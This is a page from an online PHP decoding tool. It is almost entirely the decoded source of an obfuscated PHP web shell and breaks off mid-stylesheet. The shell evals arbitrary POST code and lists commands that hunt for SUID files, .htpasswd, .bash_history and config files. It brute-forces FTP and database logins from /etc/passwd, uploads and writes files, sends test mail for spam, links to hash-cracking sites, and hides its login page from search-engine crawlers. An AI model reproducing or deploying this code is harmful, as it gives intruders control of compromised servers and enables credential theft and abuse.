Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto U46u7; WxtG7: function actionPhp() { if (isset($_POST["\141\x6a\x61\x78"])) {..
Decoded Output download
<?php
goto U46u7; WxtG7: function actionPhp() { if (isset($_POST["ajax"])) { $_COOKIE[md5($_SERVER["HTTP_HOST"]) . "ajax"] = true; ob_start(); $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\xa\xd\x9\'\x0") . "';\xa"; echo strlen($temp), "
", $temp; die; } hardHeader(); if (isset($_POST["p2"]) && $_POST["p2"] == "info") { echo "<h1>PHP info</h1><div class=content>"; ob_start(); phpinfo(); $tmp = ob_get_clean(); $tmp = preg_replace("!body {.*}!msiU", '', $tmp); $tmp = preg_replace("!a:\w+ {.*}!msiU", '', $tmp); $tmp = preg_replace("!h1!msiU", "h2", $tmp); $tmp = preg_replace("!td, th {(.*)}!msiU", ".e, .v, .h, .h th {$1}", $tmp); $tmp = preg_replace("!body, td, th, h2, h2 {.*}!msiU", '', $tmp); echo $tmp; echo "</div><br>"; } if (empty($_POST["ajax"]) && !empty($_POST["p1"])) { $_COOKIE[md5($_SERVER["HTTP_HOST"]) . "ajax"] = false; } echo "<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,'');}return false;"><textarea name=code class=bigarea id=PhpCode>" . (!empty($_POST["p1"]) ? htmlspecialchars($_POST["p1"]) : '') . "</textarea><input type=submit value=Eval style="margin-top:5px">"; echo " <input type=checkbox name=ajax value=1 " . ($_COOKIE[md5($_SERVER["HTTP_HOST"]) . "ajax"] ? "checked" : '') . "> send using AJAX</form><pre id=PhpOutput style="" . (empty($_POST["p1"]) ? "display:none;" : '') . "margin-top:5px;" class=ml1>"; if (!empty($_POST["p1"])) { ob_start(); eval($_POST["p1"]); echo htmlspecialchars(ob_get_clean()); } echo "</pre></div>"; hardFooter(); } goto uKB5l; ZTliB: function actionStringTools() { if (!function_exists("hex2bin")) { function hex2bin($p) { return decbin(hexdec($p)); } } if (!function_exists("binhex")) { function binhex($p) { return dechex(bindec($p)); } } if (!function_exists("hex2ascii")) { function hex2ascii($p) { $r = ''; for ($i = 0; $i < strLen($p); $i += 2) { $r .= chr(hexdec($p[$i] . $p[$i + 1])); } return $r; } } if (!function_exists("ascii2hex")) { function ascii2hex($p) { $r = ''; for ($i = 0; $i < strlen($p); ++$i) { $r .= sprintf("%02X", ord($p[$i])); } return strtoupper($r); } } if (!function_exists("full_urlencode")) { function full_urlencode($p) { $r = ''; for ($i = 0; $i < strlen($p); ++$i) { $r .= "%" . dechex(ord($p[$i])); } return strtoupper($r); } } $stringTools = array("Base64 encode" => "base64_encode", "Base64 decode" => "base64_decode", "Url encode" => "urlencode", "Url decode" => "urldecode", "Full urlencode" => "full_urlencode", "md5 hash" => "md5", "sha1 hash" => "sha1", "crypt" => "crypt", "CRC32" => "crc32", "ASCII to HEX" => "ascii2hex", "HEX to ASCII" => "hex2ascii", "HEX to DEC" => "hexdec", "HEX to BIN" => "hex2bin", "DEC to HEX" => "dechex", "DEC to BIN" => "decbin", "BIN to HEX" => "binhex", "BIN to DEC" => "bindec", "String to lower case" => "strtolower", "String to upper case" => "strtoupper", "Htmlspecialchars" => "htmlspecialchars", "String length" => "strlen"); if (isset($_POST["ajax"])) { prototype(md5($_SERVER["HTTP_HOST"]) . "ajax", true); ob_start(); if (in_array($_POST["p1"], $stringTools)) { echo $_POST["p1"]($_POST["p2"]); } $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
\x9\'\0") . "';\xa"; echo strlen($temp), "\xa", $temp; die; } if (empty($_POST["ajax"]) && !empty($_POST["p1"])) { prototype(md5($_SERVER["HTTP_HOST"]) . "ajax", 0); } hardHeader(); echo "<h1>String conversions</h1><div class=content>"; echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><label><select name='selectTool'>"; foreach ($stringTools as $k => $v) { echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>"; } echo "</select></label><input type='submit' value='submit'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER["HTTP_HOST"]) . "ajax"] ? "checked" : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST["p1"]) ? '' : htmlspecialchars(@$_POST["p2"])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST["p1"]) ? "display:none;" : '') . "margin-top:5px' id='strOutput'>"; if (!empty($_POST["p1"])) { if (in_array($_POST["p1"], $stringTools)) { echo htmlspecialchars($_POST["p1"]($_POST["p2"])); } } echo "</pre></div><br><h1>Search files:</h1><div class=content>\xa <form onsubmit="g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;"><table cellpadding='1' cellspacing='0' width='50%'>\xa <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>\xa <tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS["cwd"]) . "' style='width:100%'></td></tr>
<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
<tr><td></td><td><input type='submit' value='submit'></td></tr>\xa </table></form>"; function hardRecursiveGlob($path) { if (substr($path, -1) != "/") { $path .= "/"; } $paths = @array_unique(@array_merge(@glob($path . $_POST["p3"]), @glob($path . "*", GLOB_ONLYDIR))); if (is_array($paths) && @count($paths)) { foreach ($paths as $dokl) { if (@is_dir($dokl)) { if ($path != $dokl) { hardRecursiveGlob($dokl); } } else { if (empty($_POST["p2"]) || @strpos(file_get_contents($dokl), $_POST["p2"]) !== false) { echo "<a href='#' onclick='g("FilesTools",null,"" . urlencode($dokl) . "", "view","")'>" . htmlspecialchars($dokl) . "</a><br>"; } } } } } if (@$_POST["p3"]) { hardRecursiveGlob($_POST["c"]); } echo "</div><br><h1>Search for hash:</h1><div class=content>
<form method='post' target='_blank' name='hf'>\xa <input type='text' name='hash' style='width:200px;'><br>
<input type='hidden' name='act' value='find'/>\xa <input type='submit' value='hashcracking.ru' onclick="document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()"><br>\xa <input type='submit' value='md5.rednoize.com' onclick="document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()"><br>
<input type='submit' value='fakenamegenerator.com' onclick="document.hf.action='http://www.fakenamegenerator.com/';document.hf.submit()"><br>\xa <input type='submit' value='hashcrack.com' onclick="document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()"><br>
<input type='submit' value='toolki.com' onclick="document.hf.action='http://toolki.com/';document.hf.submit()"><br>\xa <input type='submit' value='fopo.com.ar' onclick="document.hf.action='http://fopo.com.ar/';document.hf.submit()"><br>
<input type='submit' value='md5decrypter.com' onclick="document.hf.action='http://www.md5decrypter.com/';document.hf.submit()"><br>\xa </form></div>"; hardFooter(); } goto v25Hw; fQaHX: if (isset($_REQUEST["email"])) { $actual_linka = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; $partsa = parse_url($actual_linka); $stra = $partsa["scheme"] . "://" . $partsa["host"] . $partsa["path"]; $emall = isset($_REQUEST["email"]) ? $_REQUEST["email"] : null; $aler = ''; function hideEmailAddress($email) { $em = explode("@", $email); $name = implode(array_slice($em, 0, count($em) - 1), "@"); $len = floor(strlen($name) / 2); return substr($name, 0, $len) . str_repeat("*", $len) . "@" . end($em); } if (filter_var($emall, FILTER_VALIDATE_EMAIL)) { $recipient = isset($emall) ? $emall : null; $subject = isset($_REQUEST["subject"]) ? $_REQUEST["subject"] : "Delivery Test from shell [{$stra}]"; $message = isset($_REQUEST["msg"]) ? $_REQUEST["msg"] : "If you see this msg this means that Shell [{$stra}] Delivery is working good"; if (mail($recipient, $subject, $message)) { $aler = "<div class="alert alert-success alert-dismissible fade show" role="alert" style="background: rgba(40, 199, 111, 0.2) !important;color: #28C76F !important;border-color: rgb(0 0 0 / 8%);border-radius: 10px;">
\xa <span>Test email sent to " . hideEmailAddress($emall) . " Successfully</span>
</div>"; } else { $aler = "<div class="alert alert-danger alert-dismissible fade show" role="alert" style="background: rgba(234, 84, 85, 0.2) !important;
color: #EA5455 !important;border-color: rgb(0 0 0 / 8%);border-radius: 10px;">\xa
<span>Test email Failed to " . hideEmailAddress($emall) . "</span>
</div>"; } } echo "<html lang="en"><head>
\xa \xa \xa \xa \xa <title>" . $_SERVER["HTTP_HOST"] . " - Shell delivery test</title>\xa \xa
\xa
\xa
<link rel="shortcut icon"" href="https://i.imgur.com/BSwJ0QE.png">\xa <link rel="stylesheet" type="text/css" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
\xa <style>\xa .auth-wrapper {\xa display: -webkit-box;\xa display: -webkit-flex;
display: -ms-flexbox;
display: flex;\xa -webkit-flex-basis: 100%;\xa -ms-flex-preferred-size: 100%;
flex-basis: 100%;
min-height: 100vh;\xa min-height: calc(var(--vh, 1vh) * 100);
width: 100%\xa }
.auth-wrapper .auth-inner {\xa width: 100%;
position: relative
}
\xa .auth-wrapper.auth-v1 {
-webkit-box-align: center;\xa -webkit-align-items: center;\xa -ms-flex-align: center;\xa align-items: center;
-webkit-box-pack: center;
-webkit-justify-content: center;
-ms-flex-pack: center;
justify-content: center;\xa overflow: hidden
}
\xa .auth-wrapper.auth-v1 .auth-inner:before {\xa width: 244px;\xa height: 243px;
content:" ";
position: absolute;
top: -54px;\xa left: -46px;\xa background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPQAAADzCAMAAACG9Mt0AAAAAXNSR0IArs4c6QAAAERlWElmTU0AKgAAAAgAAYdpAAQAAAABAAAAGgAAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAAA9KADAAQAAAABAAAA8wAAAADhQHfUAAAAyVBMVEUAAAD///+AgP+AgP9mZv+AgNWAgP9tbf9gYP+AgP9xcf9mZv+AZuaAgP9dXf90dOhiYv92dv9mZu5mZv93d+53d/9paf94afCAcfFrXvJra/9mZvJzZvJzc/JoaP96b/Rqav91aupsYvV2bOt2bPVxaPZ7cfZqavZyau1waPd4aO9xafBxafh4afB1bfh4avFuZ/F2afJzZvJzZ/N0aPN0bvN3bPR0ae5yZ/R3be93bfR1au9zafBxbPVzavV0a/F0a/ZyafFwaPKZm3nTAAAAQ3RSTlMAAQIEBQYGBwgICQoKCgsLDQ0PDw8PERESExMUFBQWFxgYGhoaGxsdHSAgIiIiIyQlJygqLCwtLi8vLzAzNDU3Nzg7h9vbHgAAA9RJREFUeNrt3ftS2kAUx/Fc1gSyWsErtuJdRDQiiteolb7/QzUoTm07k4AzObuu3/MCez45yWbzT36eZ6b8erO1e1B97baadd+zocJWmg0HaXe/+uqmg2GWtkLT5Lle1m9LdhG2+1lvzuiUO1knEF81yFc1N+35m15kZOGodz1vyLx+v2Lseq/erxtZd/NuweCTtfiwaWLOD5FnsqI7+VnP3y8afnEs3Es/1+H1qvETwuq18B7e6VlwLup1ZM8kWWQBOsrmHL7GVtxvYRZYgQ4ywae61ffsqH5Lbq20bQm6ncp9P2ehJegwE/u+rl95ttSwLrVSc2ANetAU28dSa9Cp2E623bUG3d2VWmn/wBq0XCugQYMGLdVKoOJaoiuok1NdXSW1WAUfRPtRUllflaJf5ZE/O9pXVbZUPTov5c+IDqvtRwStdTgLutoxy6GnGfYb2o+1I2gd+1OiqzfLocvVE7TSDqG1mgodaqfQZbvZC9rXjqG1X45WzqFVKVpk0LLo4lGP0ZGD6KgMnTiITkrQgXYQrYNitHISrYrRsZPouBhdcxJdK0YnTqKTYrR2Eq1BgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRoh9DH59ag86ACoSYOL61B55EUQk1s3VqDzsNHhJpYe7QGncfMSHUxaliCHgcKSXVxeWQJehwdJdXF4dAS9DgkTKqLxuibFeiXODixNi7OrEC/BP+JtbE0WrYA/RrxKNfH2YUF6NegSbk+Gk87xtErN6EsWm88fzeMXpwE9EruLns/l42io4dJFLPo2/Po1w+D6IW7t9Bt2SPx3vOOMfS7eHVZtN54ulg2go56138Ct4XRunE2Ovsmjg46WeddUoUWr6WL0fCoIYgO2/2s91fstDZQjcPL0ePt5flpdXUwqW46uMrS1j95JNpQrW0dHp9UV/uT2m416/8HVGg3qzhpBjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KC/FDpx0pwUo2tOomvF6NhJdFyMVk6iVTE6cBIdeF9vJyvZx/I/AzuIjsrQvoNovwzt4FamSs0Ojrp80PmvoB0zh940pb7azf1yg7t0LIt978uppzbnalfucDW92ZndLPRmKweGPduYJ+zoM5/Dk+gD5NdvLhXXPp88qcUqmEH5G5JZRs6cuxwIAAAAAElFTkSuQmCC)\xa }
\xa .auth-wrapper.auth-v1 .auth-inner:after {
width: 272px;\xa height: 272px;
content:" ";\xa position: absolute;
bottom: -55px;
right: -75px;
background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAARAAAAEQCAMAAABP1NsnAAAAAXNSR0IArs4c6QAAAERlWElmTU0AKgAAAAgAAYdpAAQAAAABAAAAGgAAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAABEKADAAQAAAABAAABEAAAAAAQWxS2AAAAwFBMVEUAAAD///+AgICAgP9VVaqqVf+qqv+AgL+AgP9mZsxmZv+ZZv+AgNWAgP9tbdttbf+Sbf+AYN+AgN+AgP9xceNmZv+AZuaAZv90dOh0dP9qav+AauqAav+AgP92dv9tbf+Abe2Abf93Zu53d+6AcO94afCAcfF5a+R5a/JzZuaAZvKAc/J5bed5bfOAaPN6b/R1auqAavR6ZvV6cPV2bOuAbPV7aPZ2be2AbfZ7au17avZ3Zu53b+57a+97a/d4aO9J6CoeAAAAQHRSTlMAAQICAwMDBAQFBQUGBgcHBwgICAkKCgoLCwwMDAwNDg4ODw8QERITExQUFBUVFhcYGBkZGhobHBwdHR4eHx8gJ5uMWwAAA/FJREFUeNrt2G1XEkEYxvHZNk2xHGzdbKFl0cTwgdSkCKzu7/+t4pw6sAjtjIueE/f8r3fMO35nZnbuy5gVGcvfzJe0rnTfGI+MggGJRUZnbpPIhJKt88nU53JnFULvyISY6KAv8vPj0vr2rYwiE2Z2B9J+uNYcyyQxwWZvaeGH3G4bMjsvI/kcwTC/V+7kLoahlITzQojP3ZFgsJCh7IJQzpX0QFj4uMiY18eDMZ9bZCF9OQahnK6cm/Y7js0sh/LF3Auv1PlQd3MxbdXYIQspV44EEEAAAWTNDAYYkKdJbNMsLzYueZbaZ2iM46RVbHBaiZ9Js+nHEdli42N9XuSen5hGp1CQTuOJQDRsD99N4gMSpYWapNH6IJo83CIeILZQFesEaber79NCWRoukOpNEnW0gXQqD81w6ACxhbrYde7VuFCYeA2QRCNIsgZISyNIqz6IyhPjOjNVIFYniK3dmKU6QdLaJUimEySrDZLrBMlrgxRKU7sxCw/EMe0CAggggADySJCqxixIkKpNEh6IozELD8RxjQACCCCAAPJIkKrGLEgQXqqAAEJjxrQLCCCAAEJjRmNGY8a0CwgggABCYwYIfQgggNCYMe0CAggggNCY0ZjRmDHtAgIIIIAAQmNGHwIIIDRmTLuAAAIIIDRmNGY0Zky7gAACCCCA0JjRhwACCI0Z0y4ggAACCI0ZjRmNGdMuIIAAAgggNGb0IYAAQmPGtAsIIIAAQmNGY0ZjxrQLCCCAAAIIjRl9CCCA0Jgx7QICCCCA0JjRmNGYMe0CAggggABCY0YfAgggNGZMu4AAAgggNGY0ZjRmTLuAAAIIIIDQmNGHAAIIjRnTLiCAAAIIjRmNGY0ZIEy7gAACCCA0ZvQhgABCY8a0CwgggABCY0ZjBgiNGdMuIIAAAgiN2f/Sh+Q6PfLaIJlOkKw2SKoTJK3dmFmdILb2tBvrBIlrg5iWRo+WqQ+SaARJ1gCJAzsxThCN16p1vNurGjNjoo42j07kAHFskoY2kEbl33U0ZgoPjXW+Rl0gkarnahqtDaJKxMPDDWIiNafGenh4gExvVhXfmk7Da6L1AVGxSby2h6MxK79Zk42ea1pJbJ48sU2zDezQ8iy1z6BBwoyjMQsvXp8YQAAhgADilRfyy+wf8WqZZUfGZihvgZiB3FybC+kCUU5XLkAo50C+gbBQdUzkAIVyejIAYfFTI1solHP2HgNCnHn5AYNy4jvpoVB6fVzL91cwzLJ9Lfd7S0jhehxO5H5/yePr1W6gHonI7fJ5ORSR/n6Q2yQanq763zuXU5LJZRKiyD/W9/pjkdPZz0/yJ8fqVyry+qQZDMjJKoDfy8bRVhHhQTwAAAAASUVORK5CYII=);
z-index: -1\xa }
\xa @media (max-width:575.98px) {\xa .auth-wrapper.auth-v1 .auth-inner:after,
.auth-wrapper.auth-v1 .auth-inner:before {\xa display: none\xa }
}\xa \xa \xa \xa .auth-wrapper.auth-v1 .auth-inner {
max-width: 500px;
}
.auth-wrapper .brand-logo {
display: -webkit-box;
display: -webkit-flex;\xa display: -ms-flexbox;\xa display: flex;\xa -webkit-box-pack: center;\xa -webkit-justify-content: center;
-ms-flex-pack: center;
justify-content: center;\xa margin: 1rem 0 2rem\xa }
.auth-wrapper .brand-logo .brand-text {\xa font-weight: 600\xa }
@media (min-width:1200px) {
.auth-wrapper.auth-v2 .auth-card {\xa width: 400px\xa }
}
\xa \xa </style>\xa
\xa </head>
\xa <body style="\xa color: #B4B7BD;\xa background-color: #161D31;
">\xa
<div class="auth-wrapper auth-v1 px-2">
<div class="auth-inner py-2">\xa \xa <div class="card mb-0" style="\xa background-color: #283046;
box-shadow: 0 4px 24px 0 rgb(34 41 47 / 24%);\xa border-radius: 15px;\xa ">
<div class="card-body">
<a href="https://evochat.id" target="_blank" style="\xa color: #7367F0 !important;\xa background-color: transparent;
" class="brand-logo">
<h2 class="brand-text text-primary ml-1" style="\xa color: #7367F0 !important;
background-color: transparent;
">evo</h2>\xa </a>\xa " . $aler . "
<h4 class="card-title mb-1">Delivery Test</h4>
<p class="card-text mb-2">Tip: you can fast check delivery with this link directly <br><a href="" . $stra . "[email protected]">" . $stra . "[email protected]</a></p>
\xa <form method="post">
<div class="form-group">\xa <label class="form-label">Email</label>
<input required="" type="email" class="form-control" name="email" placeholder="[email protected]" autofocus="" style="\xa border-color: #404656;
background-color: #283046;\xa color: #B4B7BD;\xa ">\xa <p class="card-text mb-2">Test email will be sent to this email address.</p>
\xa </div>\xa <div class="form-group">\xa <button type="submit" class="btn btn-lg float-right" style="border-color: #4839EB !important;background-color: #7367F0 !important;color: #FFFFFF;">Test</button>
\xa <a href="" . $stra . "" type="button" style="border-color: #4E5154;color: #B8C2CC;background-color: transparent;" class="btn btn-md float-left">Back</a>
</div>\xa </form>\xa
</div>\xa </div>
</div>
</div>
\xa \xa\xa
\xa
\xa \xa
\xa
\xa
\xa \xa
\xa
\xa </body></html>"; die; } goto wudh1; vtDN2: @define("VERSION", "4.2.5"); goto QvhaV; er_VT: function actionBruteforce() { hardHeader(); if (isset($_POST["proto"])) { echo "<h1>Results</h1><div class=content><span>Type:</span> " . htmlspecialchars($_POST["proto"]) . " <span>Server:</span> " . htmlspecialchars($_POST["server"]) . "<br>"; if ($_POST["proto"] == "ftp") { function bruteForce($ip, $port, $login, $pass) { $fp = @ftp_connect($ip, $port ? $port : 21); if (!$fp) { return false; } $res = @ftp_login($fp, $login, $pass); @ftp_close($fp); return $res; } } elseif ($_POST["proto"] == "mysql") { function bruteForce($ip, $port, $login, $pass) { $res = @mysql_connect($ip . ":" . ($port ? $port : 3306), $login, $pass); @mysql_close($res); return $res; } } elseif ($_POST["proto"] == "pgsql") { function bruteForce($ip, $port, $login, $pass) { $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres"; $res = @pg_connect($str); @pg_close($res); return $res; } } $success = 0; $attempts = 0; $server = explode(":", $_POST["server"]); if ($_POST["type"] == 1) { $temp = @file("/etc/passwd"); if (is_array($temp)) { foreach ($temp as $line) { $line = explode(":", $line); ++$attempts; if (bruteForce(@$server[0], @$server[1], $line[0], $line[0])) { $success++; echo "<b>" . htmlspecialchars($line[0]) . "</b>:" . htmlspecialchars($line[0]) . "<br>"; } if (@$_POST["reverse"]) { $tmp = ''; for ($i = strlen($line[0]) - 1; $i >= 0; --$i) { $tmp .= $line[0][$i]; } ++$attempts; if (bruteForce(@$server[0], @$server[1], $line[0], $tmp)) { $success++; echo "<b>" . htmlspecialchars($line[0]) . "</b>:" . htmlspecialchars($tmp); } } } } } elseif ($_POST["type"] == 2) { $temp = @file($_POST["dict"]); if (is_array($temp)) { foreach ($temp as $line) { $line = trim($line); ++$attempts; if (bruteForce($server[0], @$server[1], $_POST["login"], $line)) { $success++; echo "<b>" . htmlspecialchars($_POST["login"]) . "</b>:" . htmlspecialchars($line) . "<br>"; } } } } echo "<span>Attempts:</span> {$attempts} <span>Success:</span> {$success}</div><br>"; } echo "<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>" . "<td><label><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></label></td></tr><tr><td>" . "<input type=hidden name=c value="" . htmlspecialchars($GLOBALS["cwd"]) . "">" . "<input type=hidden name=a value="" . htmlspecialchars($_POST["a"]) . "">" . "<input type=hidden name=charset value="" . htmlspecialchars($_POST["charset"]) . "">" . "<input type=hidden name=ne value="">" . "<span>Server:port</span></td>" . "<td><input type=text name=server value="127.0.0.1"></td></tr>" . "<tr><td><span>Brute type</span></td>" . "<td><input type=radio name=type value="1" checked> /etc/passwd</td></tr>" . "<tr><td></td><td style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr>" . "<tr><td></td><td><input type=radio name=type value="2"> Dictionary</td></tr>" . "<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>" . "<td><input type=text name=login value="root"></td></tr>" . "<tr><td><span>Dictionary</span></td>" . "<td><input type=text name=dict value="" . htmlspecialchars($GLOBALS["cwd"]) . "passwd.dic"></td></tr></table>" . "</td></tr><tr><td></td><td><input type=submit value="submit"></td></tr></form></table>"; echo "</div>"; hardFooter(); } goto X78wP; HLa1k: if (!function_exists("posix_getgrgid") && strpos($GLOBALS["disable_functions"], "posix_getgrgid") === false) { function posix_getgrgid($p) { return false; } } goto lN1qw; RD0o5: function prototype($k, $v) { $_COOKIE[$k] = $v; setcookie($k, $v); } goto SEByT; FMPdV: function hardFooter() { $is_writable = is_writable($GLOBALS["cwd"]) ? " <font color='#28C76F'>[ Writeable ]</font>" : " <font color=#EA5455>(Not writable)</font>"; echo "\xa</div>\xa<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>
<tr>\xa <td><form onsubmit="" . (function_exists("actionFilesMan") ? "g(null,this.c.value,'');" : '') . "return false;"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS["cwd"]) . "'><input type=submit value='submit'></form></td>
<td><form onsubmit="" . (function_exists("actionFilesTools") ? "g('FilesTools',null,this.f.value);" : '') . "return false;"><span>Read file:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>
</tr><tr>\xa <td><form onsubmit="" . (function_exists("actionFilesMan") ? "g('FilesMan',null,'mkdir',this.d.value);" : '') . "return false;"><span>Make dir:</span>{$is_writable}<br><input class='toolsInp' type=text name=d required><input type=submit value='submit'></form></td>
<td><form onsubmit="" . (function_exists("actionFilesTools") ? "g('FilesTools',null,this.f.value,'mkfile');" : '') . "return false;"><span>Make file:</span>{$is_writable}<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>\xa </tr><tr>\xa <td><form onsubmit="" . (function_exists("actionConsole") ? "g('Console',null,this.c.value);" : '') . "return false;"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='submit'></form></td>\xa <td><form method='post' " . (!function_exists("actionFilesMan") ? " onsubmit="return false;" " : '') . "ENCTYPE='multipart/form-data'>\xa <input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='" . htmlspecialchars($GLOBALS["cwd"]) . "'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=ne value=''>\xa <input type=hidden name=charset value='" . (isset($_POST["charset"]) ? $_POST["charset"] : '') . "'>\xa <span>Upload file:</span>{$is_writable}<br><input class='toolsInp' type=file name=f[] multiple><input type=submit value='submit'></form><br ></td>\xa </tr></table></div>\xa
</body></html>"; } goto dxYeQ; Vrw_M: function viewPermsColor($f) { if (!@is_readable($f)) { return "<font color=#EA5455><b>" . perms(@fileperms($f)) . "</b></font>"; } elseif (!@is_writable($f)) { return "<font color=#EA5455><b>" . perms(@fileperms($f)) . "</b></font>"; } else { return "<font color=#28C76F><b>" . perms(@fileperms($f)) . "</b></font>"; } } goto ZUQi1; h15M0: if ($os == "win") { $aliases = array("List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all"); } else { $aliases = array("List dir" => "ls -lha", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "process status" => "ps aux", "Find" => '', "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name "config*"", "find config* files in current dir" => "find . -type f -name "config*"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => '', "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv"); } goto g4e8Y; BamS6: function actionLogout() { setcookie(md5($_SERVER["HTTP_HOST"]), '', time() - 3600); die(header("Location: " . $_SERVER["PHP_SELF"])); } goto qKevr; c6TnT: function hardLogin() { if (isset($_REQUEST["pass"]) && md5($_REQUEST["pass"]) != $password_shell) { $al = "<div class="alert alert-danger alert-dismissible fade show" role="alert" style="background: rgba(234, 84, 85, 0.2) !important;\xa color: #EA5455 !important;border-color: rgb(0 0 0 / 8%);border-radius: 10px;">\xa
<span>Incorrect password!</span>
</div>"; } if (!empty($_SERVER["HTTP_USER_AGENT"])) { $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); if (preg_match("/" . implode("|", $userAgents) . "/i", $_SERVER["HTTP_USER_AGENT"])) { header("HTTP/1.0 404 Not Found"); die; } } die("<html lang="en"><head>\xa \xa
\xa \xa \xa <title>" . $_SERVER["HTTP_HOST"] . " - enter shell password</title>
\xa <link rel="shortcut icon"" href="https://i.imgur.com/BSwJ0QE.png">\xa <link rel="stylesheet" type="text/css" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
\xa <style>\xa .auth-wrapper {
display: -webkit-box;\xa display: -webkit-flex;
display: -ms-flexbox;
display: flex;
-webkit-flex-basis: 100%;\xa -ms-flex-preferred-size: 100%;\xa flex-basis: 100%;
min-height: 100vh;
min-height: calc(var(--vh, 1vh) * 100);\xa width: 100%
}
.auth-wrapper .auth-inner {
width: 100%;\xa position: relative\xa}\xa
.auth-wrapper.auth-v1 {
-webkit-box-align: center;
-webkit-align-items: center;
-ms-flex-align: center;\xa align-items: center;
-webkit-box-pack: center;\xa -webkit-justify-content: center;
-ms-flex-pack: center;\xa justify-content: center;
overflow: hidden
}
.auth-wrapper.auth-v1 .auth-inner:before {
width: 244px;\xa height: 243px;\xa content:" ";
position: absolute;\xa top: -54px;
